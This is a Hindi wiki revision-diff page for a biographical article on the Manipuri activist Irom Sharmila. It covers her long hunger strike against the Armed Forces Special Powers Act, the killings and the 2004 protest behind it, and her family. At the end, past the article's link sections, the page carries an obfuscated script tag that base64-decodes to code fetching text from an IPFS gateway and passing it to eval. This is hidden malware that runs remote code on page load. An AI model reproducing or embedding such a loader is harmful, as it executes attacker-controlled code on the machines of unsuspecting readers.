"इरोम शर्मिला": अवतरणों में अंतर
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*वे इरोम नंदा और इरोम सखी देवी की बेटी हैं। इरोम की बहन विजयवंती और भाई सिंघजित हैं। | *वे इरोम नंदा और इरोम सखी देवी की बेटी हैं। इरोम की बहन विजयवंती और भाई सिंघजित हैं। | ||
*इरोम पहले मणिपुर के एक दैनिक अखबार हुये लानपाऊ की स्तंभकार के रूप में काम करती थीं। | *इरोम पहले मणिपुर के एक दैनिक अखबार हुये लानपाऊ की स्तंभकार के रूप में काम करती थीं। | ||
*2 नवंबर, 2000 से वे सशस्त्र बल विशेषाधिकार | *2 नवंबर, 2000 से वे सशस्त्र बल विशेषाधिकार क़ानून को पूरी तरह से समाप्त करवाने के लिए आमरण अनशन पर बैठीं हैं। उन्हें मणिपुर की लौह महिला और मेनघाओबी के नाम से लोग जानते हैं। | ||
*मणिपुर को जानना है तो इरोम की कहानी जाननी होगी। इरोम की कहानी कुछ यूं है कि आजादी के बाद [[मणिपुर]] के महाराजा ने मणिपुर को संवैधानिक [[राजतंत्र]] घोषित किया, लेकिन कई घटनाक्रमों के बाद [[1949]] में मणिपुर का भारत में विलय हुआ और [[1958]] में नागा आंदोलन सक्रिय हुआ। इससे निपटने के लिए केंद्र सरकार ने एक | *मणिपुर को जानना है तो इरोम की कहानी जाननी होगी। इरोम की कहानी कुछ यूं है कि आजादी के बाद [[मणिपुर]] के महाराजा ने मणिपुर को संवैधानिक [[राजतंत्र]] घोषित किया, लेकिन कई घटनाक्रमों के बाद [[1949]] में मणिपुर का भारत में विलय हुआ और [[1958]] में नागा आंदोलन सक्रिय हुआ। इससे निपटने के लिए केंद्र सरकार ने एक क़ानून का इस्तेमाल किया जिसे सशस्त्र बल विशेषाधिकार क़ानून कहा जाता है। | ||
*इरोम शर्मिला कहती हैं कि मौत एक उत्सव है, अगर वह दूसरों के काम आ सके। आम मणिपुरी के लिए वह, इरोम शर्मीला न होकर मणिपुर की लौह महिला हैं। | *इरोम शर्मिला कहती हैं कि मौत एक उत्सव है, अगर वह दूसरों के काम आ सके। आम मणिपुरी के लिए वह, इरोम शर्मीला न होकर मणिपुर की लौह महिला हैं। | ||
==सेना को मनमानी की छूट== | ==सेना को मनमानी की छूट== | ||
इरोम का मानना है कि सशस्त्र बल विशेषाधिकार | इरोम का मानना है कि सशस्त्र बल विशेषाधिकार क़ानून अर्थ है सेना को मनमानी की छूट को समझना है तो मणिपुर का इतिहास खंगालना होगा और सेना के धर पकड़ अभियान में न जाने कितने मासूम लोग भी मारे जाते। सेना के द्वारा चलाए जा रहे एक ऎसे ही अभियान में 1 नवंबर, [[2000]] में लगभग 9-10 लोग मारे गए। सुबह कत्लेआम की तस्वीरें अखबारों में देख इरोम विचलित हो गईं। न्याय के लिए इरोम ने अनशन का रास्ता चुना। [[4 नवंबर]] 2000 से शुरू हुई उनकी भूख हड़ताल आज तक जारी है। इस साल 4 नवंबर को तेरह साल हो जाएंगे। मणिपुर जैसे पूर्वोतर राज्य में देखने को मिलता है जहाँ ‘आस्पा’ शासन के 53 वर्षों में बीस हजार से ज्यादा नागरिकों को अपनी जानें गंवानी पड़ी है। इसी की देन एक तरफ अपमान, बलात्कार, गिरफ्तारी व हत्या है तो दूसरी तरफ तीव्र घृणा, आत्मदाह, आत्महत्या, असन्तोष व आक्रोश का विस्फोट है। इस संदर्भ में 2004 में मणिपुर की महिलाओं द्वारा किये संघर्ष की चर्चा करना प्रासंगिक होगा। उनके आक्रोश और चेतना का विस्फोट हमें देखने को मिला जब असम राइफल्स के जवानों द्वारा थंगजम मनोरमा के साथ किये बलात्कार और हत्या के विरोध में मणिपुर की महिलाओं ने कांगला फोर्ट के सामने नग्न होकर प्रदर्शन किया। उन्होंने जो बैनर ले रखा था, उसमें लिखा था ‘भारतीय सेना आओ, हमारा बलात्कार करो’। इरोम शर्मिला इसी यथार्थ की मुखर अभिव्यक्ति हैं। | ||
उन्हें अपने अहिंसक आंदोलन के लिए जेल की काल कोठरी मिली है। इरोम शर्मिला की ये बातें हमारे जनतंत्र की वास्तविकता को सामने लाती है और उनका संघर्ष इस हकीकत से रुबरु कराता है कि हमारा जनतंत्र कितना खंडित है। यह ऐसा जनतंत्र है जहाँ भारतीय राज्य अशान्त क्षेत्रों में अपनी ही जनता के विरुद्ध अघोषित युद्ध चला रहा है। | उन्हें अपने अहिंसक आंदोलन के लिए जेल की काल कोठरी मिली है। इरोम शर्मिला की ये बातें हमारे जनतंत्र की वास्तविकता को सामने लाती है और उनका संघर्ष इस हकीकत से रुबरु कराता है कि हमारा जनतंत्र कितना खंडित है। यह ऐसा जनतंत्र है जहाँ भारतीय राज्य अशान्त क्षेत्रों में अपनी ही जनता के विरुद्ध अघोषित युद्ध चला रहा है। |
14:11, 30 जुलाई 2013 का अवतरण
इरोम शर्मिला (अंग्रेज़ी:imom sharmila, जन्म:14 मार्च, 1972 ) को "आयरन लेडी ऑव मणिपुर" का खिताब हासिल है। जीवन परिचयइरोम शर्मिला का जन्म कोंगपाल, इम्फाल, मणिपुर में 14 मार्च, 1972 के दिन हुआ था। इरोम के घर का नाम 'चानू' है।
सेना को मनमानी की छूटइरोम का मानना है कि सशस्त्र बल विशेषाधिकार क़ानून अर्थ है सेना को मनमानी की छूट को समझना है तो मणिपुर का इतिहास खंगालना होगा और सेना के धर पकड़ अभियान में न जाने कितने मासूम लोग भी मारे जाते। सेना के द्वारा चलाए जा रहे एक ऎसे ही अभियान में 1 नवंबर, 2000 में लगभग 9-10 लोग मारे गए। सुबह कत्लेआम की तस्वीरें अखबारों में देख इरोम विचलित हो गईं। न्याय के लिए इरोम ने अनशन का रास्ता चुना। 4 नवंबर 2000 से शुरू हुई उनकी भूख हड़ताल आज तक जारी है। इस साल 4 नवंबर को तेरह साल हो जाएंगे। मणिपुर जैसे पूर्वोतर राज्य में देखने को मिलता है जहाँ ‘आस्पा’ शासन के 53 वर्षों में बीस हजार से ज्यादा नागरिकों को अपनी जानें गंवानी पड़ी है। इसी की देन एक तरफ अपमान, बलात्कार, गिरफ्तारी व हत्या है तो दूसरी तरफ तीव्र घृणा, आत्मदाह, आत्महत्या, असन्तोष व आक्रोश का विस्फोट है। इस संदर्भ में 2004 में मणिपुर की महिलाओं द्वारा किये संघर्ष की चर्चा करना प्रासंगिक होगा। उनके आक्रोश और चेतना का विस्फोट हमें देखने को मिला जब असम राइफल्स के जवानों द्वारा थंगजम मनोरमा के साथ किये बलात्कार और हत्या के विरोध में मणिपुर की महिलाओं ने कांगला फोर्ट के सामने नग्न होकर प्रदर्शन किया। उन्होंने जो बैनर ले रखा था, उसमें लिखा था ‘भारतीय सेना आओ, हमारा बलात्कार करो’। इरोम शर्मिला इसी यथार्थ की मुखर अभिव्यक्ति हैं। उन्हें अपने अहिंसक आंदोलन के लिए जेल की काल कोठरी मिली है। इरोम शर्मिला की ये बातें हमारे जनतंत्र की वास्तविकता को सामने लाती है और उनका संघर्ष इस हकीकत से रुबरु कराता है कि हमारा जनतंत्र कितना खंडित है। यह ऐसा जनतंत्र है जहाँ भारतीय राज्य अशान्त क्षेत्रों में अपनी ही जनता के विरुद्ध अघोषित युद्ध चला रहा है। इरोम की मांगइरोम की मांग है कि जब तक सेना के विशेष अधिकार समाप्त नहीं किए जाते, अनशन जारी रहेगा। गांधी के देश में इरोम के अनशन को आत्महत्या का प्रयास मान कुचला जा रहा है। इरोम शर्मिला का यह संघर्ष अभी हाल में उस वक्त खास चर्चा में आया जब पिछले अगस्त में अन्ना हजारे जन लोकपाल की माँग को लेकर रामलीला मैदान में अनशन पर थे। इरोम शर्मिला ने अन्ना के भ्रष्टाचार विरोधी आंदोलन का गर्मजोशी के साथ समर्थन किया था। अन्ना को लिखे अपने पत्र में इरोम शर्मिला का कहना था कि जहाँ अन्ना को अहिंसक तरीके से विरोध करने की स्वतंत्रता मिली, वहीं उन्हें यह स्वतंत्रता नहीं दी गई। मां से वादाशर्मिला ने पिछले 12 वर्षों से अपनी मां का चेहरा नहीं देखा। वे कहती हैं कि मैंने मां से वादा लिया है कि जब तक मैं अपने लक्ष्यों को पूरा न कर लूं, तुम मुझसे मिलने मत आना, लेकिन जब शर्मिला की 78 साल की मां से, बेटी से न मिल पाने के दर्द के बारे में पूछा जाता है, तो उनकी आंखें छलक उठती हैं। रुंधे गले से सखी देवी कहती हैं कि मैंने आखिरी बार उसे तब देखा था, जब वह भूख हड़ताल पर बैठने जा रही थी, मैंने उसे आशीर्वाद दिया था। मैं नहीं चाहती, मुझसे मिलने के बाद वह कमजोर पड़ जाए और मानवता की स्थापना के लिए किया जा रहा उसका अद्भुत युद्ध पूरा न हो पाए। यही वजह है कि मैं उससे मिलने कभी नहीं जाती। हम उसे जीतता देखना चाहते हैं।
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँसंबंधित लेख<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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